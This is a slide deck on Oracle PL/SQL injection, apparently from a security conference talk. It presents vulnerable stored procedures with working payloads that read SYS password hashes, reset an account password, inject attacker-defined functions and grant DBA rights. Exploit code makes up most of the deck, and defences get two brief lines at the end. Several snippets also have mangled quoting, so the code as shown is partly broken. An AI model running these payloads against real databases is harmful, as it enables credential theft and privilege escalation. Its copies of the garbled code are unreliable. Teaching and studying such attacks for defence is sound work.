Oracle PL/SQL Injection

David Litchfield
What is PL/SQL?

• Procedural Language / Structured Query Language
• Oracle’s extension to standard SQL
  Programmable like T-SQL in the Microsoft world.
• Used to create
  • Stored Procedures
  • Functions
  • Packages (collections of procedures and functions)
  • Triggers
  • Objects
• Extends functionality with External Procedures
Privileges – Definer vs. Invoker rights

• PL/SQL executes with the privileges of the definer
  • A procedure owned by SYS executes with SYS privileges
• AUTHID CURRENT_USER keyword
  • PL/SQL created using the AUTHID CURRENT_USER keyword executes with the privileges of the invoker
  • A procedure owned by SYS but called by SCOTT executes with the privileges of SCOTT
• Analogous to Suid programs in the *nix world.
PL/SQL over the Web

- **Oracle Application Server / Web Portal**
  - Acts as a proxy, passes request to the database server and the PL/SQL executes *inside* the database server – not the front end.
PL/SQL Injection

• SELECT statements

• DML – UPDATE, DELETE, INSERT

• Anonymous PL/SQL Blocks in Procedures
PL/SQL SELECT Example

CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
  DBMS_OUTPUT.ENABLE(1000000);
  OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = '' || P_OWNER || '' AND OBJECT_TYPE=''LIBRARY''';
  LOOP
    FETCH CV INTO buffer;
    DBMS_OUTPUT.PUT_LINE(BUFFER);
    EXIT WHEN CV%NOTFOUND;
  END LOOP;
  CLOSE CV;
END;
/

Exploiting PL/SQL and SELECT statements

- EXEC SYS.LIST_LIBRARIES('SYS');

- EXEC SYS.LIST_LIBRARIES('FOO" UNION SELECT PASSWORD FROM SYS.USER$--');

- Easy if printed to screen!
A more difficult example

```sql
CREATE OR REPLACE FUNCTION
    SELECT_COUNT(P_OWNER VARCHAR2) RETURN
    NUMBER IS
CNT NUMBER;
STMT VARCHAR2(200);
BEGIN
STMT:='SELECT COUNT(*) FROM ALL_OBJECTS WHERE
    OWNER='' '' || P_OWNER || '' '''
EXECUTE IMMEDIATE STMT INTO CNT;
RETURN CNT;
END;
/
```
Exploiting this

- `SELECT SYS.SELECT_COUNT('SYS') FROM DUAL;
- `SELECT SYS.SELECT_COUNT('SYS'' UNION SELECT PASSWORD FROM SYS.USER$ WHERE NAME="SYS"--') FROM DUAL;

returns error

ORA-01790: expression must have same datatype as corresponding expression.
Exploiting this…

- SELECT SYS.SELECT_COUNT('SYS'' UNION SELECT USER# FROM SYS.USER$ WHERE NAME='"SYS"--') FROM DUAL;
  
  returns the error

  ORA-01422: exact fetch returns more than requested number of rows.
Exploiting this…

- SELECT SYS.SELECT_COUNT('SYS'' AND OBJECT_NAME = (SELECT PASSWORD FROM SYS.USER$ WHERE NAME=''SYS'')--') FROM DUAL;
  Just returns 0!

How do we exploit this then?
Attacker-defined function

CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS
  TYPE C_TYPE IS REF CURSOR;
  CV C_TYPE;
  BUFF VARCHAR2(30);
  STMT VARCHAR2(200);
BEGIN
  DBMS_OUTPUT.ENABLE(1000000);
  STMT:='SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS'';
  EXECUTE IMMEDIATE STMT INTO BUFF;
  DBMS_OUTPUT.PUT_LINE('SYS PASSWORD HASH IS ' || BUFF);
  OPEN CV FOR 'SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE=''DBA''';
  LOOP
    FETCH CV INTO BUFF;
    DBMS_OUTPUT.PUT_LINE(BUFF || ' IS A DBA. ');
    EXIT WHEN CV%NOTFOUND;
  END LOOP;
  CLOSE CV;

  RETURN 'FOO';
END;
/

Inject this into function
Inject our function

- `SELECT SYS.SELECT_COUNT('FOO' || SCOTT.GET_IT()--') FROM DUAL;`

But where’s our output???

`Call EXEC DBMS_OUTPUT.PUT_LINE('OUTPUT')`
Limitations

- Can’t execute DML or DDL
Injecting into DML – INSERT, UPDATE, DELETE

- Extremely flexible:
  - Can inject an UPDATE into a DELETE, INSERT
  - Can inject a DELETE into an UPDATE, INSERT
  - Can inject an INSERT into a DELETE, UPDATE
  - Can inject SELECTS
DML example

CREATE OR REPLACE PROCEDURE NEW_EMP(P_NAME VARCHAR2) AS
STMT VARCHAR2(200);
BEGIN
STMT := 'INSERT INTO EMPLOYEES (EMP_NAME) VALUES (' || P_NAME || ');
EXECUTE IMMEDIATE STMT;
END;
/

Exploiting this ....

- `EXEC SYS.NEW_EMP('FOO' || SCOTT.GET_IT)--');`

CREATE OR REPLACE FUNCTION RSTPWD RETURN VARCHAR2 AUTHID CURRENT_USER IS

MYSTMT VARCHAR2(200);
BEGIN
MYSTMT := 'UPDATE SYS.USER$ SET PASSWORD = "FE0E8CE7C92504E9" WHERE NAME="ANONYMOUS"';
EXECUTE IMMEDIATE MYSTMT;
RETURN 'FOO';
END;
/
EXEC SYS.NEW_EMP('P' || SCOTT.RSTPWD)--');
Limitations

- Can’t execute DDL
Injecting into anonymous PL/SQL blocks

- Fully flexible
  - SELECTs
  - INSERTS, UPDATES, DELETE
  - And DDL – e.g. CREATE and DROP
    - GRANT DBA!
Example

CREATE OR REPLACE PROCEDURE ANON_BLOCK(P_BUF VARCHAR2) AS
STMT VARCHAR2(200);
BEGIN
  STMT:= 'BEGIN ' ||
    'DBMS_OUTPUT.PUT_LINE('''' || P_BUF || ''');' ||
    'END;;'
  EXECUTE IMMEDIATE STMT;
END;
Exploiting…

- `EXEC SYS.ANON_BLOCK('FOOBAR');`

- `EXEC SYS.ANON_BLOCK('F'); EXECUTE IMMEDIATE "GRANT DBA TO SCOTT"; END; --');`
Trigger Abuse

• Be careful with Triggers. They can be abused, too!
Protecting against PL/SQL Injection

- Use bind variables
- Validate input
Thanks!

- Questions?
Thank You

http://www.ngsconsulting.com/